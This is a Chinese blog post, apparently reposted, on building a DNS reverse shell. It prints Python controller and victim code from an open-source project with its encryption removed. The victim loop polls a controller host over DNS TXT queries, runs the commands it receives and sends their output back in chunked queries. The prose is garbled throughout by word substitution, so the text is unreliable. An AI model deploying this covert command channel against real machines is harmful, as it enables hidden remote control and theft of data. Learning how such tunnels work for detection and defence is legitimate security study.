谈谈DNS反弹Shell 8090安适门户
反弹Shell广泛应用于长途控制下的权限维持,通过反转攻(客户端)和受(处事端)的角色,来实现条件限制,尤其是内网情况下的长途连接。
反弹Shell的工具和实现要领多种多样,只要能够让被控端通过网络发送数据到控制端,并且实现数据的解析即可完成控制过程。
比来在继续了解网络协议,于是俄然想在DNS数据包中插入一些伪造的命令来实现解析,原来筹备本身测验考试写一个DNS处事器和DNS请求措施来实现反弹,不过刚动笔就看到了别人开源的措施,于是直接使用别人的措施来学习了。
https://github.com/ahhh/Reverse_DNS_Shell
为了运行测试更便利,去失了措施中的加解密成果,特别的Python包只需要dns和dnslib
0X02 DNS为了关联主机和IP地点对应关系而诞生的DNS自己,不需要我在这里赘述了。跳过域名组成、盘问过程等可以轻松在网络盘问到的内容,我们直接来看看DNS的包组成
在smtp那篇文章中,我们提过一层一层洋葱状的协议包裹,在这里,我们跳过以太、IP、UDP头,直接到DNS数据的部分。
标识表记标帜着数据开始的是Tran ID段,所有的问复书息都需要必然的机制来保证对应,这部分应该就是对应机制中的一部分。
紧接着的Flags,0x0100表白了一些盘问属性。
Queries中是我们所要盘问的host,盘问类型。作为A类型盘问,得到的是host的IP,这里也是我们做手脚的处所,不过TXT类型可以插入一些附加的信息,更适合我们用来结构命令语句。
处事器回应包如下:
作为回应的Tran ID,它和盘问包不异。
Flags中标准回应标识表记标帜位
反复显示的Queries
回应的Answers信息。通过CNAME查取主机规范名,再通过规范名查取对应IP。
操作这种彼此应答的特性,我们初阶打算通过以下流程来实现我们的反弹Shell
0X03 措施
原始的措施可以在上面的github中找到,这里贴出我们去失加解密的部分措施。
先说DNS处事器的部分
1
2
3
4
5
6
7
8
def spawnShell(answer, payload):
shellInput = raw_input(PROMPT)
if shellInput == 'quit': EXIT = 1
if shellInput == '': spawnShell(answer, payload)
out = base64.b64encode(shellInput)
answer.add_answer(
*dnslib.RR.fromZone('{}.com 60 TXT "{}"'.format(payload, out)))
return answer
这一部分封装了对DNS的应答,payload里是被控端发来的盘问信息,也就是上一次命令执行后的回显,而out是我们这一次的命令,封装成了TXT的应答包
1
2
3
4
5
6
def recievePayload(udps):
data, addr = udps.recvfrom(1024)
dnsD = dnslib.DNSRecord.parse(data)
payload = dnsD.questions[0].qname.label[0]
answer = dnsD.reply()
return addr, payload, answer
这部分对付被控真个盘问包进行解析,从中获取到地点和数据,对付数据,解析出此中的命令回显,并且初始化一个应答包。
主函数中使用socket监听相关端口,对付监听到的包凭据预定流程进行措置惩罚惩罚。
再来看看被控端发送的部分
1
2
3
4
5
6
def start(host):
while 1:
a = startConnection(host)
cmd = parseCmd(a)
stdoutput = runCmd(cmd)
sendOutputToServer(stdoutput, host)
首先是整个流程一览,从措施中可以很清晰的看到成立连接,解析命令,执行命令,发送回显的过程。
1
2
3
4
5
6
def startConnection(host):
url = formURL(nextCommand)
request = dns.message.make_query(url, dns.rdatatype.TXT)
answers = dns.query.udp(request, host)
a = answers.to_text()
return a
结构的url,也就是命令回显,对付没有命令的,会返回nxt。操作回显结构盘问语句。
1
2
def parseCmd(a):
def runCmd(cmd)
这两段措施对付收到的文本格局的命令进行解析和执行,没有太多的对象可以讲。只是注意格局的截取,并且考虑对Linux和Windows的命令之间转换。
1
2
3
4
5
6
7
8
9
10
11
12
13
def sendOutputToServer(output, host):
send =''
output_end = len(output)
for chunk in output:
send += chunk
output_end -= 1
if len(send) == 58:
url = formURL(send)
dnsMakeQuery(url, host)
send =''
if output_end == 0:
url = formURL(send)
dnsMakeQuery(url, host)
这部分卖力发送DNS盘问,凭据与处事器约定的格局结构包并且进行发送。
0X04 测试我们需要先执行处事器端措施,然后执行被控端措施。我的处事端措施在一台Ubuntu主机上,被控端在我的Win10机器上。
如图,是在Ubuntu上对Win10执行ipconfig命令的显示。
我们再进行抓包分析:
这是被控端第一次连接时发送的包,因为控制端还没有指令,第一次连接发送的是空包,此中Name的值bnh0就是我之前所说的NXT
而第二个包就是控制端发送的指令,在TXT中发送的就是指令whoami的base64编码,
可以比拟和我之前实际抓包的差别之处,比较可以看出我们在DNS包的哪些处所做过改削。
0X05 延伸其实相关的DNS地道技术道理应该差不久不多,都是在原来应该放DNS规定信息的处所放入了其他的对象,来到达一些意想不到的功效。
固然,RFC还有许多协议可以让我随意结构去做测试,下一步考虑写一个多协议撑持的Fuzzing工具 :)
温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/12574.html